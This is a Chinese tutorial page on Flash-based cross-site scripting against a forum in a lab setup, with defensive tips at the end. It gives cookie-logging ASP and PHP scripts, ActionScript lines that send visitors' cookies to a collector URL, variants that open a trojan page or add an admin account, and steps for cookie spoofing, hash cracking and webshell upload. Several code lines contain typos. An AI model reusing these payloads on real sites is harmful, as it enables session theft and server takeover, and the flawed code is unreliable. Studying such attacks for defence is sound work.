tws mirror 分布式调度 远程桌面登陆 map遍历 dedecms log4j bash static db2 jqgrid bootstrap后台管理模板 webpack视频 java商城源码 jquery选择子元素 mysql获取当前时间戳 爬虫数据清洗 mysql分区表优劣分析 java 大文件上传 mysql时间戳转换日期 mysql将时间戳转换成日期 python课程 python环境搭建 input函数python python实战 python连接mysql数据库 python获取时间戳 java的正则表达式 java编译环境 配置java环境 java学习课程 java获取时间 怎么安装linux 广告代码 易语言进度条 狮子狗出装 props alphacam oem修改器 特战英雄辅助 经典雅黑
当前位置: 首页 > 学习教程  > 编程学习

解析Flash跨站脚本攻击

2021/1/9 2:02:46 文章标签: 跨站攻击

Flash跨站攻击是当下比较流行的跨站攻击手段,且没有很好的预防办法。在它的淫威下有多少网站倒下了,站长们对此叫苦不迭。下面我们就看看Flash跨站脚本攻击到底是如何实现的,知己知彼,然后找到应对措施。 虚拟机部署如下测试环境&…

 

Flash跨站攻击是当下比较流行的跨站攻击手段,且没有很好的预防办法。在它的淫威下有多少网站倒下了,站长们对此叫苦不迭。下面我们就看看Flash跨站脚本攻击到底是如何实现的,知己知彼,然后找到应对措施。

      虚拟机部署如下测试环境:

      操作系统:windows 2003

web服务器:IIS6.0

  论坛:动网Version 7.1.0 Sp1

 工具

    Falsh 8.0

记事本

 

准备的知识:

  首先,先说明一下什么是跨站脚本攻击(CSS/XSS)!我们所说跨站脚本是指在远程WEB页面的html代码中插人的其有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为“XSS”,这是因为“CSS”一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSSXSS安全漏洞,通常指的都是跨站脚本。Flash跨站攻击是在Flash文件中插入脚本,在播放flash文件的时候脚本被触发,然后通过脚本获取用户的敏感信息或者打开具有网页木马的URL页面从而实现攻击。

一、准备

  ()准备脚本

  1ASP脚本

  第一步:构造攻击脚本

  打开记事本输入如下代码输入并保存为cookies_flash.asp:

<%

testfile=server.mappath("cookies.txt")

msg=request("msg")

set fs=server.createobject("scripting.filesystemobject")

set thisfile=fs.opentextfile(testfile,8,true,0)

thisfile.writeline("&msg$")

thisfile=close

set fs=nothing

%>

  第二步:把cookies_flash.asp上传到支持asp的空间,我们就把它复制到测试环境的论坛根目录下,URL地址为:

  http://192.168.0.5/flash/cookies_flash.asp

 

2PHP脚本

  第一步:PHP论坛和ASP论坛一样,把如下代码保存为cookies_flash.php

<?php

$info=getenv('query_srring');

if(info){

$fp=fopen('cookies.txt,'a');

fwrite($fp,$info,'/n);

fclose($fp);

}

?> 

第二步:上传cookies_flash.phpPHP论坛根目录,比如URL地址为:

 

  http://192.168.0.5/flash/cookies_flash.php

  提示:由于ASPPHPFlash脚本跨站攻击方式类似,因此我们就以比较大众的ASP论坛来演示。

      ()准备Flash

  第一步:运行Flash 8.0,创建一个影片,在第一帧中右键选择“动作”,输入如下代码:

getURL("javascript:window.open('http://192.168.0.5/flash/cookies_flash.asp?sg=$#39;+document.cookie')");

      第二步:导出影片为cookies.swf上传到论坛中,我们把它复制到测试论坛的根目录中,其URL地址为:

  http://192.168.0.5/flash/cookies.swf

  补充:插入如上代码创建的Flash文件,在网页打开是会闪,不够隐蔽。用如下代码可以解决这个问题:

  (上面的代码分两部分,第一部分是定义了PUrl,并对其的属性进行了设置,包括调用的页面以及页面的属性。第二部分是通过FLASHgetURL函数调用PUR1)

 

二、攻击演示

  1.获取信息

  第一步:打开论坛http://192.168.0.5/flash,注册一个用户flash_test,然后点击发表新帖,然后在标题中写入比较有诱惑力的话语,在正文中通过Flash标签插入刚才精心准备的FlashURL地址,即http://192.168.0.5/flash/cookies.swf

 

  第二步:接下来就是等待了,等到你的帖子点击数不再是0的时候cookies.asp目录下的cookies.txt就能看到不少用户的cookies了。我们是测试,因此用论坛默认的管理员admin登录,然后浏览刚才发的帖子,打开flash。这样管理员的相关信息由flash脚本通过cookies_flash.asp文件及其相关参数,写入了http://192.168.0.5/flash/cookies.txt文件中。

  2.信息利用

 

 

  (1)得到cookies后可以通过cookies欺骗,修改本机的有关flash_test用户的cookies信息为admin的,就可以欺骗进入论坛后台。这个就不演示了。

  (2)通过工具爆破admin管理员密码的MD5加密值x1sfv3h775WrZ845。拷贝其通过工具破解得到管理员的密码为admin888(默认的密码,我没有改。)

 

 

  提示:一定要修改论坛安装时的默认密码,而且密码一定要复杂,这样就算被Flash跨站工具获得密码的MD5值破解起来就会增加难度。

  3.进入论坛后台

  利用刚才得到的管理员密码,先在前台登录然后点击“管理”按钮输入用户名和密码成功进入后台。

 

 

  4.得到webshell

  通过后台修改上传文件的类型,或者通过备份数据,上传一个网马。

 

 

  如果服务器设置不当或者应用程序有漏洞不需要太费尽,这台服务器就可以拿下,如果是虚拟主机的话,那有多少网站都被控制。我们的渗透到此为止。

  以上的Flash跨站攻击测试只是其最常规的用法,其使用可谓博大精深,比如说将指令改为

    getURP("javascript:window.open('http://192.168.0.5/flash/wm.html')");

      打开了一个挂马的网站。

   getURP("javascript:window.open('http://www.xxx.com/addadmin.asp?username=lw')");

      提交了一个名为lw的管理员。

  总结:我们通过虚拟的环境演示了Flash跨站攻击,通过准备、获取信息、利用信息,一直到得到管理员密码,进入后台,获得webshell,直至拿下服务器,可见Flash跨站攻击的危害之大。那如何防范这样的攻击呢?

  四、预防Flash跨站攻击

  1.在你的WEB浏览器上禁用javascript脚本,具体方法,先打开你的IEinternet选项,切换到“安全”选项卡,有个“自定义”级别,选择禁用就可以了。但是好象不太可能,因为一旦禁用,很多功能就丧失了,这个方法是下策。

  2.开发者要仔细审核代码,对提交输入的数据进行有效检查,如空格,ascii码等,这个是上策。但是由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,这主要依赖于所开发程序的作用,建议过滤掉所有元字符。

  3.登录论坛,选择不保存cookies,可预防cookies欺骗。

 

 

  4.用可以屏蔽flash广告的浏览器,或者安装相关的插件。

  5.不打开带有诱惑性的帖子。

  6.管理员在后台屏蔽相关的词汇。

  7.安装微软防跨站脚本库

  下载地址:

  http://www.microsoft.com/downloads/details.aspx?FamilyID=efb9c819-53ff-4f82-bfaf-e11625130c25&DisplayLang=en

  总结:Flash跨站攻击手段多样,要有效预防是比较困难的,提高自身的安全意识才是关键。其实网络中的攻击除了技术之外,利用最多的就是使用者的疏忽大意,突破了用户这道防线,任何安全措施都失去了作用,这就是网络安全中的“木桶原理”吧。


本文链接: http://www.dtmao.cc/news_show_1100242.shtml

附件下载

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?